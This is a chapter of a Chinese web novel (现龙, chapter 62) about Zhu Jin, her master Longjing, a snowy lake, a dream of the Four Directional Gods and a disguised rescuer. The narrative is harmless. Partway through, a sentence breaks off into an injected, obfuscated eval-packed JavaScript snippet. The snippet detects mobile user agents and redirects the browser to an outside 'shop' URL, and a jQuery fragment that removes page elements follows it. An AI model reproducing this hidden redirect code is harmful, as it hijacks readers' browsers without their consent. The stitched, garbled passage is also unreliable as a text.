62.雾凇雪岭育霜寒(5)

作品:《现龙

    “朱槿!”


    不远处的龙井喊她,他迈了几大步快速来到她跟前,朱槿站在原地未动,神色警惕。


    龙井见她这模样,问:“怎么?”


    朱槿仔仔细细观察他,带点试探的口吻:“回去跟你说?”


    龙井不明白她这是怎么回事,只道:“好。”


    朱槿稍稍松口气后,又试探说:“师父,拉我。”


    龙井低头看向她伸出的手,眉梢微扬,他双臂环胸,下巴微抬,那副高傲的样子,似乎在等她解释。


    朱槿这下宽心笑开,拉住他的衣角:“呼……吓死我了,师父,快走吧。”


    龙井不懂她整哪一出,看她步伐笨重,伸手拉住她戴着手套的手,两人一道踩着厚厚的积雪出了这雪松林子。


    朱槿回去的路上将方才所闻所见告知了龙井,龙井走到人多的地方,停了下来,回身对她说:“看来有人不想你来这北方。”


    “我头回来,那人似乎认识我一般。”朱槿弯腰拍拍自己膝上的落雪。


    龙井扫视一圈:“不仅认识你,甚至还了解我,指不定此刻还在暗中观察我们。”


    朱槿压低声音:“师父,那我们能对个暗号吗?只有我俩知道的那种。”


    龙井笑了下:“没必要,你该上套还是会上套。”


    朱槿扁嘴,懂了,在她师父眼里她缺心眼呗。


    又在这雾凇湖呆了许久,麋鹿雪橇的带团人看日头也下去了,就唤着大家集合返回。


    朱槿今日这小半天玩得也挺尽兴,外加舟车劳顿的,折回后就和龙井回了民宿。


    龙井是黑户,民宿朱槿只订了一个房,是睡炕的大通铺,她和龙井俩人绰绰有余。


    哪怕睡一头一尾,也能互不干扰。


    龙井脱了外套,转眼见朱槿被围巾缠住了脖子还解不开,顺手给她松了松,“挂你衣服拉链了,再扯围巾就坏了。”


    “喔……”朱槿瞥他,埋头将自己臃肿的羽绒服帽子一并脱下。


    “师父,你刚刚在雪松林怎么没跟上我呀。”朱槿倒了杯热水,她方才都没敢在外头问。


    “这是人家的地盘,幻术迷眼。”龙井坐在炕上,双手向后撑,活动了下脖子。


    朱槿吹了吹热气:“我刚闻到了魔气,但又和之前遇到的那些不太一样。”


    龙井:“如何不一样?”


    “说不上来。”朱槿回忆着那些随着雪落隐去的魔气,“那人能变成你的样子,是幻颜,又能在我面前一下子就不见了,也是幻术吗?还是说他是除魔师,他用的是除魔经?”


    龙井思忖着朱槿的话:“那人只引你过去,想必是我一眼便能看穿他,怕没那么简单。”


    朱槿叹口气:“哎呀,怎么每回都能遇到点事儿呢。”


    龙井盯着她:“那你下回还想出来?”


    朱槿哽了下,犟嘴说:“想!”


    龙井扯了下嘴角,躺在玩手机,不再搭理她。


    晚餐是民宿老板娘提供的当地美食,特地送来他们的房间,朱槿和龙井简单用了些。


    打开行李箱拿换洗衣服的时候,朱槿看见自己带来的那幅画,她摸了摸,也不知道自己图个什么,非要来这地方看一眼。


    夜很长,但是这炕上的被子很短。


    老板娘只提供了一床被子,这天南地北般宽阔的大炕,睡得地方立刻只有这被子那么点,不盖还是有些冷的,朱槿只好背过身,攥着被角阖眼睡觉。


    “师父,明天我再问老板娘要一床,今天太晚了,你凑合睡吧。”朱槿嘟哝。


    龙井手枕在脑后,望着天花板,听见她说话,又扭头看她,见两人中间被子扯得笔直漏风,他又挪了些过去,让这被子凹下来,封住这空隙。


    朱槿察觉到他的动静,没睁眼,嘴角倒是偷摸笑了起来。


    笑着笑着,就迷迷糊糊睡过去了。


    *


    朱槿又梦到了那个画面,西湖冰冻三尺,风雪交加。


    龙井和朱菱相对,他面色苍白,她下压嘴角,揣着木盒,转身离去。


    但这回她又听见了其他声音。


    “白虎,好了吗?画完了吗?”有个憨厚带笑的声音催促问。


    “马上就好了,别催别催,我作画,要讲究神韵。”


    朱槿听着这两个声音,转身去看,那是雾凇湖旁的雪松林,林中有个松枝围起来的小屋,她立在门口,看着院内的几人。


    她有些茫然,回身去看,空中是龙井与朱菱西湖相见的画面。


    “画完了,画完了。”


    院内风骨翩翩的白衣男子说着。


    当他将画举起,朱槿能察觉到身后一阵狂风,雪花飞舞向那画纸钻去,她方才见到的西湖湖畔场景,已全数落在了画上。


    朱槿忙不迭走了进去,站在他们二人身前,一起观赏着这幅画。


    “玄武,是这样吗?”那白衣男子问。


    朱槿这下了然,面前这两位,就是龙武庙说书大师曾经说过的白虎神和玄武神。


    白虎神温雅俊美,玄武神憨厚有福相,真和那说书大师讲的如出一辙。


    玄武:“是这样,没错。”


    “你们可真敢,用这种事打赌,戏弄我徒弟。”


    又传来个女声,朱槿仰头去看。


    一身红衣,英气美艳,她坐在木屋二楼庭院的栏杆上,垂着一只腿甩来甩去,目光也落在那幅画上,挥拳就要暴揍他们的样子。


    白虎挤兑她:“朱雀,饭可以乱吃,话可不能乱说,这可是玄武用天地干支六爻算法卜出来的画面,算无遗策。”


    “三神,你们说什么呢?”朱槿身后传来另一个女声,她转头去看,也是一身红衣,那是提着坛子酒的朱菱。


    还有跟在她身后面无表情的龙井。


    玄武清了下嗓子,正准备收回画,朱菱却看见了。


    她搁下手中坛子酒,盯着那卷起来的画道:“这画的是我和……”


    白虎抬头看事不关己的朱雀,又瞥眼沉默扭头的玄武,一个都靠不住!


    “玄武他没事干,我就说打个赌,赌他测算世上万事准不准。”白虎温和笑着,“这不你师父朱雀就你这么个宝贝疙瘩,我们就测测你。”


    朱菱仰头望向朱雀,朱雀尴尬一笑:“徒儿,这可跟为师没半毛钱关系,就他俩无聊至极。”


    龙井抬手一收,那画就落在他手中,他稍稍用力就要粉碎,朱菱连忙扯住了这画卷。


    朱菱从龙井手中抽出画卷,展开放在桌上,“行呀,那我就来看看,玄武神测得准不准。”


    她拿起毛笔,在这画卷下方写下字:朱菱,北,雾凇雪岭。


    朱菱爽朗道:“行了,我自己来见证。”


    几人被她这大大方方的样子镇住,随后都开怀笑了起来。


    朱雀从栏上跳下,揽住她的肩:“不愧是我的好徒儿,来,喝酒了,南安城上好的菩提醉。”


    朱菱则回头望向龙井,龙井一如既往不作声。


    朱槿视线在二人间来回,别人看不出,但是她看出来了。


    她朱家老祖宗,对她师父,有别的心思。


    好冷……


    好冷……


    朱槿感觉自己周身温度降了下来,面前的一切支离破碎。


    她缓缓睁开眼,梦醒了。


    朱槿来回望去,除了天空的月光,就是雪松林,还有身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093524|142908||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后那泛光的雾凇湖。


    察觉到自己手中握了什么,她低头看去,是那幅画。


    “啊。”


    画卷烫手,她赶忙松开,那卷轴飞至空中,寒风之下,焚烧成灰烬。


    灰烬落下,又有什么其他东西在这暗夜之下滋生,悄无声息,无人察觉。


    她耳畔响起几个声音:


    “嗯?吾徒血脉。”


    “朱雀,当真?”


    “我不是白虎,哪会满口胡言。”


    “朱雀!你说谁满口胡言呢!”


    朱槿被冻得瑟瑟发抖,但是这熟悉的声音让她忍不住问:“你们是三神?”


    白虎:“哎呀,聪慧。”


    朱雀:“不愧是吾徒血脉。”


    朱槿疑问:“你们还活着?”


    静默了片刻,玄武开口:“四方神牺牲本我,净化世间,吾等神力已散,封了最后的本源于画作中,就想看看,是谁接了龙井那最后一丝生机。”


    朱槿抿嘴,脑袋闪过很多想法。


    四方神牺牲本我……所以她师父是为了这世间,才于千年前坐化。


    神力已散……那他们……便是死了。


    可是……


    朱槿又疑惑:“最后一丝生机?”


    朱雀颇为尴尬说:“嗯……因为一些还不起的人情,龙井于世存了微末龙息,而你承了他的气息,续了他命脉,也是缘分。”


    朱槿懂了,是他的逆鳞和心窝骨。


    白虎心满意足:“行了,瞧也瞧过了,这下也没遗憾了。”


    朱雀生气:“这芝麻绿豆点的本源之力可真不经用!”


    朱槿望向大雪纷飞的夜空,预感到他们要走了,她急迫说:“你们不想见见他吗?”


    师父一定很想他们。


    须臾静默,玄武含笑道:“小女娃,吾等时间到了,无法多言。”


    朱槿还想说些什么,可又不知道该说什么。


    玄武的声音再次响起:“小女娃,吾以四方神的身份,在此祝愿,望你与他,百年安好。”


    白虎加一句:“喜乐常伴!”


    朱雀沉思后说:“嗯……也让龙井尝一回寻常百姓之乐吧!”


    尾音被风雪声淹没,一切悠悠而散。


    朱槿知道,这回,他们是永远离开了。


    没有四方神的福照,寒气于四面八方侵袭朱槿的身体,她现在就穿了单薄的睡衣站在冰天雪地里,双脚埋入雪中,早无知觉。


    朱槿尝试转身,奈何觉得她一用力,这腿可能就断在这雪里了。


    “操蛋啊……”她暗骂,她是怎么来的这儿,怎么连鞋都没穿。


    侧方传来脚步声,朱槿被风雪迷眼,转头去看,那人已站定在他身旁,弯腰抱起了她。


    朱槿闻到了他身上的魔气,是白日里的那个气息,双眼不自觉泛了槿紫色,她警惕问着:“你是谁?”


    “你现在还有心思问我是谁,我是你救命恩人。”他说话的语调,和白天那个假龙井一模一样。


    “就是你假扮我师父。”朱槿直直看着他,这人捂得十分严实,看不清样貌。


    “嗯,是我,先出去吧,活命要紧,雾凇雪岭天寒地冻,你再呆会儿,双脚别要了。”他抱着朱槿向雪松林外走去,朱槿也冻得实在没力气反抗。


    抱着她的人没走几步,侧边就飞来两个冰刀,那人躲避,手里一空,朱槿已不在他的怀里。


    龙井胸膛起伏,他抱着朱槿,打量了她数次,确认没事后,凝重的神色才缓和了些。


    那人见状,说:“有人救你,那我就走了。”


    朱槿和龙井还未说什么,那人又伴着风雪消失在了他们面前。